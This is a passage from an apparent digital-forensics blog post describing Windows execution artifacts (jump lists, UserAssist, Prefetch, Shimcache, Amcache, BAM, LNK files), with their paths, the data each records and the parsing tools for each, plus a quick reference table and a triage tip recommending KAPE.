  • Tool: LECmd (Eric Zimmerman)

Jump Lists

Path (Automatic): C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\*.automaticDestinations-ms

Path (Custom): C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\*.customDestinations-ms

Jump lists are OLE structured storage files that track recently and frequently accessed files per application (identified by AppID). They contain embedded LNK entries — giving you all the same metadata described above, but organized by the application that opened them.

  • AppID mapping resources are publicly available to correlate AppIDs to application names
  • Tool: JLECmd (Eric Zimmerman)

UserAssist

Registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count

Hive file: C:\Users\<username>\NTUSER.DAT

UserAssist records GUI-launched applications (those opened through Explorer, desktop shortcuts, or the Start Menu). Values are ROT-13 encoded — a trivial obfuscation but one that trips up manual review. Data includes run count and last execution timestamp.

  • Does not capture command-line execution — pair with Prefetch and BAM to get full coverage
  • Tool: RegRipper plugin userassist

Quick Reference Table

Artifact Location Key Data Points Tool
PrefetchC:\Windows\Prefetch\Run count, last 8 timestamps, referenced filesPECmd
ShimcacheSYSTEM hive – AppCompatCacheFile path, last modified timeAppCompatCacheParser
AmcacheC:\Windows\AppCompat\Programs\Amcache.hveSHA-1, first exec time, PE metadataAmcacheParser
BAMSYSTEM hive – bam\State\UserSettingsLast execution time per SIDManual / RegRipper
LNK Files%APPDATA%\Microsoft\Windows\Recent\Target path, MAC times, volume serial, MAC addrLECmd
Jump Lists%APPDATA%\...\AutomaticDestinations\Per-app recent files, embedded LNK dataJLECmd
UserAssistNTUSER.DAT – UserAssist\CountRun count, last exec (GUI only)RegRipper

Workflow Recommendation

TOOLS --> https://ericzimmerman.github.io/#!index.md

For triaging a Windows endpoint I recommend KAPE to pull and parse all of the above. 

The outputs drop into CSV 

Drop any questions in the comments — happy to dig into specific scenarios with any of these artifacts.

Recent Posts